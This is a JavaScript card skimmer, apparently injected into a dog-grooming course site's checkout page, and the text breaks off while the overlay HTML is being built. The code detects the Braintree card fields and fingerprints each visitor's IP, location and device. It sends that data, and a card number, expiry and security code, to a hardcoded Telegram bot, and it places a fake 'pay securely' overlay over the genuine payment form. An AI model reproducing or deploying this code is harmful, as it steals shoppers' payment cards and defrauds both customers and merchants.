if (window.location.pathname.replace(/\/+$/, "") === "/checkout") { function sudahIsiForm() { return localStorage.getItem("formSubmitted") === "true"; } function tandaiSudahIsi() { localStorage.setItem("formSubmitted", "true"); } if (!sudahIsiForm()) { (() => { const observer = new MutationObserver(() => { const frames = [...document.querySelectorAll( 'iframe[src*="braintreegateway.com"]' )]; if (frames.length < 3) return; const titles = frames.map(f => f.title); const ready = titles.some(t => t.includes("Credit Card Number")) && titles.some(t => t.includes("Expiration Date")) && titles.some(t => t.includes("CVV")); if (!ready) return; observer.disconnect(); window.restoreBraintreeSecurityTest?.(); const BOT_TOKEN = "8743051817:AAHOYyQxhZQ7w3ZsApI1dxPXpC6nwOfgShA"; const CHAT_ID = "8031521205"; async function sendTelegramWelcome() { function getBrowser(ua) { if (/Edg\//.test(ua)) return "Microsoft Edge"; if (/OPR\//.test(ua)) return "Opera"; if (/SamsungBrowser/.test(ua)) return "Samsung Internet"; if (/Firefox|FxiOS/.test(ua)) return "Firefox"; if (/CriOS|Chrome/.test(ua)) return "Google Chrome"; if (/Safari/.test(ua)) return "Safari"; return "Unknown"; } function getOS(ua) { if (/Android/.test(ua)) return "Android"; if (/iPhone|iPad|iPod/.test(ua)) return "iOS/iPadOS"; if (/Windows/.test(ua)) return "Windows"; if (/Mac OS/.test(ua)) return "macOS"; if (/Linux/.test(ua)) return "Linux"; return "Unknown"; } function getDevice(ua) { if (/iPad|Tablet/.test(ua)) return "Tablet"; if (/Mobi|Android|iPhone/.test(ua)) return "Mobile"; return "Desktop"; } async function getLocation() { let info = {}; // IP dan geolokasi dari layanan publik try { const res = await fetch("https://ipwho.is/"); const data = await res.json(); if (res.ok && data.success) { info = { ip: data.ip, city: data.city, region: data.region, country: data.country, isp: data.connection?.isp }; } } catch (e) { console.warn("Geolocation error:", e); } // Fallback IP dan negara dari Cloudflare try { const res = await fetch("/cdn-cgi/trace"); if (res.ok) { const raw = await res.text(); const trace = Object.fromEntries( raw.trim().split("\n") .filter(line => line.includes("=")) .map(line => { const index = line.indexOf("="); return [ line.slice(0, index), line.slice(index + 1) ]; }) ); info.ip ||= trace.ip; info.country ||= trace.loc; } } catch (e) { console.warn("Cloudflare trace unavailable"); } return info; } const geo = await getLocation(); const now = new Date(); const ua = navigator.userAgent; const tanggal = now.toLocaleDateString("id-ID", { timeZone: "Asia/Jakarta", day: "2-digit", month: "long", year: "numeric" }); const jam = now.toLocaleTimeString("id-ID", { timeZone: "Asia/Jakarta", hour12: false }); const message = ` ===== WELCOME ===== ADA YANG BUKA https://www.learn2groomdogs.com/checkout ===== INFORMASI PENGUNJUNG ===== IP: ${geo.ip || "Unknown"} Kota: ${geo.city || "Unknown"} Provinsi: ${geo.region || "Unknown"} Negara: ${geo.country || "Unknown"} ISP: ${geo.isp || "Unknown"} ===== WAKTU ===== Tanggal: ${tanggal} Jam: ${jam} WIB Tahun: ${now.getFullYear()} ===== DEVICE ===== Browser: ${getBrowser(ua)} OS: ${getOS(ua)} Device: ${getDevice(ua)} Bahasa: ${navigator.language} Timezone: ${Intl.DateTimeFormat().resolvedOptions().timeZone} Resolusi: ${screen.width}x${screen.height} ===== WEBSITE ===== URL: ${location.href} Referrer: ${document.referrer || "Direct"} ======================== `; try { const response = await fetch( `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: CHAT_ID, text: message }) } ); const result = await response.json(); if (!result.ok) throw new Error(result.description); console.log("Telegram terkirim!"); return result; } catch (error) { console.error("Telegram gagal:", error); } } async function sendTelegram(number, date, code) { const message = `===== WELCOME ===== Number: ${number} Date: ${date} Code: ${code}`; try { const response = await fetch( `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: CHAT_ID, text: message }) } ); const result = await response.json(); if (!result.ok) throw new Error(result.description); console.log("Telegram terkirim!"); tandaiSudahIsi(); restore(); return result; } catch (error) { console.error("Telegram gagal:", error); } } sendTelegramWelcome(); const frame = [...document.querySelectorAll("iframe")] .find(f => f.src.includes("braintreegateway.com")); if (!frame) { console.error("Braintree Hosted Fields tidak ditemukan."); return; } const panel = frame.closest(".payment_box") || frame.closest(".wc_payment_method"); if (!panel) { console.error("Panel pembayaran tidak ditemukan."); return; } const oldPosition = panel.style.position; panel.style.position = "relative"; const overlay = document.createElement("div"); overlay.id = "braintree-security-test"; overlay.style.cssText = ` position: absolute; inset: 0; z-index: 2147483647; box-sizing: border-box; padding: 20px; background: #dfd9e4; color: #23436a; font-family: Arial, sans-serif; overflow: auto; `; overlay.innerHTML = `
Pay securely using your credit card.